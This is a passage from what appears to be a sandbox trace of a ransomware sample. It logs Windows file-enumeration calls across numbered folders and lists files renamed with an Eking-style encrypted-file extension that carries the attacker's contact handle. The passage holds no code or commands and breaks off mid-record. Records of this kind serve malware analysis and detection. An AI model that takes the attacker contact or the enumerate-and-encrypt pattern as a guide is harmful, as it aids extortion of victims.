ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1037", cAlternateFileName="")) returned 1 [0212.522] GetProcessHeap () returned 0xc10000 [0212.522] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.522] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.522] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.522] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fca5c8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3fca5c8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc4016a96, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1bc2, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.523] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc403cd24, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc403cd24, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc403cd24, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x11a92, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.523] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc408919a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc408919a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc408919a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.523] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc408919a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc408919a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc408919a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.523] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.524] GetProcessHeap () returned 0xc10000 [0212.524] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.524] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1038", cAlternateFileName="")) returned 1 [0212.524] GetProcessHeap () returned 0xc10000 [0212.524] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.524] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.527] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.528] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc406450f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc406450f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc40fb8a4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1192, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.528] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc408919a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc408919a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc40fb8a4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x152b2, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.528] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40fb8a4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc40fb8a4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc416e502, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.528] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40fb8a4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc40fb8a4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc416e502, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.528] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.530] GetProcessHeap () returned 0xc10000 [0212.530] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.530] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1040", cAlternateFileName="")) returned 1 [0212.530] GetProcessHeap () returned 0xc10000 [0212.530] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.530] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.533] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.533] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4121acc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc4121acc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc572fa6b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf32, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.533] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4194234, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc4194234, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc572fa6b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x139c2, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.534] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc577bbca, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc577bbca, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc57c801f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.534] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc577bbca, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc577bbca, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc57c801f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.534] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.534] GetProcessHeap () returned 0xc10000 [0212.534] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.534] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1041", cAlternateFileName="")) returned 1 [0212.534] GetProcessHeap () returned 0xc10000 [0212.534] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.534] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.719] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.719] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5755a46, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5755a46, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc57ee350, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2882, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.719] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57c801f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc57c801f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5b81b85, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x10b92, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.719] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57ee350, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc57ee350, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5814523, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.720] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57ee350, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc57ee350, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5814523, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.720] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.721] GetProcessHeap () returned 0xc10000 [0212.721] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.721] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1042", cAlternateFileName="")) returned 1 [0212.721] GetProcessHeap () returned 0xc10000 [0212.721] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.723] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.723] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5814523, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5814523, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5b81b85, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3282, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.723] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b81b85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5b81b85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5b81b85, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xffe2, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.723] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b81b85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5b81b85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5bcede9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.723] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b81b85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5b81b85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5bcede9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.723] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.724] GetProcessHeap () returned 0xc10000 [0212.724] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.724] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1043", cAlternateFileName="")) returned 1 [0212.724] GetProcessHeap () returned 0xc10000 [0212.724] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.724] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.726] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.726] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bc7339, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5bc7339, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5bfec24, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xed2, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.726] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bcede9, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5bcede9, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5c406f9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13822, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.726] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c225b0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c225b0, ftLastAccessTime.dwHighDateTime=0x1d63feb, 